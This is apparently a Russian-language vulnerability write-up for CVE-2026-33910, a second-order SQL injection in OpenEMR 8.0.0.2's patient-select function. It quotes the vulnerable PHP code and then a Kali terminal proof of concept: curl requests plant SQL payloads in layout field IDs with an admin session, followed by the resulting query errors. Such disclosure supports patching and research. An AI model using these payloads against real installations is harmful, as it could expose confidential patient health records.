
CVE-2026-33910: Уязвимость SQL-инъекции в OpenEMR <8.0.0.3
Слабость CWE-89
Некорректная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция') Продукт формирует всю SQL-команду или её часть с использованием входных данных, на которые влияют внешние факторы и которые поступают от вышестоящего компонента, но не нейтрализует или некорректно нейтрализует специальные элементы, способные изменить предполагаемую SQL-команду при её отправке нижестоящему компоненту. Без достаточного удаления или экранирования SQL-синтаксиса во входных данных, управляемых пользователем, сгенерированный SQL-запрос может привести к тому, что эти входные данные будут интерпретироваться как SQL, а не как обычные пользовательские данные. Подробнее на сайте MITRE.
OpenEMR 8.0.0.2 содержит уязвимость SQL-инъекции в функции выбора пациента, которая может быть использована аутентифицированными злоумышленниками. Уязвимость существует из-за недостаточной проверки входных данных в функции выбора пациента.
Уязвимость возникает в функции выбора пациента, где записи базы данных напрямую конкатенируются в SQL-запросы без надлежащей очистки. Это позволяет злоумышленникам внедрять вредоносный SQL-код, предварительно вставив полезную нагрузку в базу данных.
Уязвимость затрагивает следующие строки:
function getByPatientDemographics($searchTerm = "%", $given = "pid, id, lname, fname, mname, providerID, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS", $orderby = "lname ASC, fname ASC", $limit = "all", $start = "0")
{
$layoutCols = sqlStatement(
"SELECT field_id FROM layout_options WHERE form_id = 'DEM' AND field_id not like ? AND uor != 0",
['em\_%']
);
$sqlBindArray = [];
$where = "";
for ($iter = 0; $row = sqlFetchArray($layoutCols); $iter++) {
if ($iter > 0) {
$where .= " or ";
}
$where .= " " . add_escape_custom($row["field_id"]) . " like ? ";
array_push($sqlBindArray, "%" . $searchTerm . "%");
}
$sql = "SELECT $given FROM patient_data WHERE $where ORDER BY $orderby";
if ($limit != "all") {
$sql .= " limit " . escape_limit($start) . ", " . escape_limit($limit);
}
$rez = sqlStatement($sql, $sqlBindArray);
for ($iter = 0; $row = sqlFetchArray($rez); $iter++) {
$returnval[$iter] = $row;
}
if (is_countable($returnval)) {
_set_patient_inc_count($limit, count($returnval), $where, $sqlBindArray);
}
return $returnval;
}
SELECT * FROM patient_data WHERE <injection> like ? or <injection> like ? or <injection> like ? ...
ПРИМЕЧАНИЕ: Для эксплуатации уязвимости требуется вставка данных. Чтобы вставить данные в таблицу
layout_options, я использую/interface/super/edit_layout.phpс требуемым ACL:AclMain::aclCheckCore('admin', 'super'). Я не доказал, что только администратор может вставить полезную нагрузку вlayout_options.field_id, но мой PoC использует учётную запись администратора.
┌──(kali㉿kali)-[~]
└─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=injection'payload" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string injection'payload</span><br />
┌──(kali㉿kali)-[~]
└─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=1 OR 1=1" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string 1 OR 1=1</span><br />
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=3e05a485cd972a80234bbf22bd94a9b7" 'http://172.18.0.3/interface/main/finder/patient_select.php?from_page=&report_id=0&csrf_token_form=f242b99731487d705ef38764ac86b8341940ffab&findBy=Any'
...
<input type='hidden' name='findBy' value='Any' />
SQL Statement failed on preparation: SELECT * FROM patient_data WHERE 1 OR 1=1 like ? or additional_addresses like ? or allow_health_info_ex like ? or allow_imm_info_share like ? or allow_imm_reg_use like ? or allow_patient_portal like ? or billing_note like ? or birth_fname like ? or birth_lname like ? or birth_mname like ? or care_team_facility like ? or care_team_provider like ? or care_team_status like ? or city like ? or cmsportal_login like ? or contact_relationship like ? or country_code like ? or county like ? or deceased_date like ? or deceased_reason like ? or DOB like ? or drivers_license like ? or email like ? or email_direct like ? or ethnicity like ? or family_size like ? or financial_review like ? or fname like ? or gender_identity like ? or genericname1 like ? or genericname2 like ? or genericval1 like ? or genericval2 like ? or guardianaddress like ? or guardiancity like ? or guardiancountry like ? or guardianemail like ? or guardianphone like ? or guardianpostalcode like ? or guardianrelationship like ? or guardiansex like ? or guardiansname like ? or guardianstate like ? or guardianworkphone like ? or hipaa_allowemail like ? or hipaa_allowsms like ? or hipaa_mail like ? or hipaa_message like ? or hipaa_notice like ? or hipaa_voice like ? or homeless like ? or imm_reg_status like ? or imm_reg_stat_effdate like ? or industry like ? or injection\'payload like ? or interpreter_needed like ? or interpretter like ? or language like ? or lname like ? or migrantseasonal like ? or mname like ? or monthly_income like ? or mothersname like ? or name_history like ? or nationality_country like ? or occupation like ? or patient_groups like ? or pharmacy_id like ? or phone_biz like ? or phone_cell like ? or phone_contact like ? or phone_home like ? or postal_code like ? or preferred_name like ? or prevent_portal_apps like ? or protect_indicator like ? or prot_indi_effdate like ? or providerID like ? or provider_since_date like ? or publicity_code like ? or publ_code_eff_date like ? or pubpid like ? or race like ? or referral_source like ? or ref_providerID like ? or related_persons like ? or religion like ? or sex like ? or sexual_orientation like ? or sex_identified like ? or ss like ? or state like ? or status like ? or street like ? or street_line_2 like ? or suffix like ? or title like ? or tribal_affiliations like ? or vfc like ? ORDER BY lname ASC, fname ASC limit 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT * FROM patient_data WHERE 1 OR 1=1 like ? or additional_addresses like ? or allow_health_info_ex like ? or allow_imm_info_share like ? or allow_imm_reg_use like ? or allow_patient_portal like ? or billing_note like ? or birth_fname like ? or birth_lname like ? or birth_mname like ? or care_team_facility like ? or care_team_provider like ? or care_team_status like ? or city like ? or cmsportal_login like ? or contact_relationship like ? or country_code like ? or county like ? or deceased_date like ? or deceased_reason like ? or DOB like ? or drivers_license like ? or email like ? or email_direct like ? or ethnicity like ? or family_size like ? or financial_review like ? or fname like ? or gender_identity like ? or genericname1 like ? or genericname2 like ? or genericval1 like ? or genericval2 like ? or guardianaddress like ? or guardiancity like ? or guardiancountry like ? or guardianemail like ? or guardianphone like ? or guardianpostalcode like ? or guardianrelationship like ? or guardiansex like ? or guardiansname like ? or guardianstate like ? or guardianworkphone like ? or hipaa_allowemail like ? or hipaa_allowsms like ? or hipaa_mail like ? or hipaa_message like ? or hipaa_notice like ? or hipaa_voice like ? or homeless like ? or imm_reg_status like ? or imm_reg_stat_effdate like ? or industry like ? or injection\'payload like ? or interpreter_needed like ? or interpretter like ? or language like ? or lname like ? or migrantseasonal like ? or mname like ? or monthly_income like ? or mothersname like ? or name_history like ? or nationality_country like ? or occupation like ? or patient_groups like ? or pharmacy_id like ? or phone_biz like ? or phone_cell like ? or phone_contact like ? or phone_home like ? or postal_code like ? or preferred_name like ? or prevent_portal_apps like ? or protect_indicator like ? or prot_indi_effdate like ? or providerID like ? or provider_since_date like ? or publicity_code like ? or publ_code_eff_date like ? or pubpid like ? or race like ? or referral_source like ? or ref_providerID like ? or related_persons like ? or religion like ? or sex like ? or sexual_orientation like ? or sex_identified like ? or ss like ? or state like ? or status like ? or street like ? or street_line_2 like ? or suffix like ? or title like ? or tribal_affiliations like ? or vfc like ? ORDER BY lname ASC, fname ASC limit 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'payload like ? or interpreter_needed like ? or interpretter like ? or ...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/patient.inc.php at 685:sqlStatement<br />/var/www/localhost/htdocs/openemr/interface/main/finder/patient_select.php at 271:getByPatientDemographics(,*,lname ASC, fname ASC,100,0)
┌──(kali㉿kali)-[~]
└─$
https://www.cve.org/CVERecord?id=CVE-2026-33910
Этот проект распространяется по лицензии MIT — подробности см. в файле LICENSE.
Пожалуйста, цитируйте нашу статью: https://github.com/ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2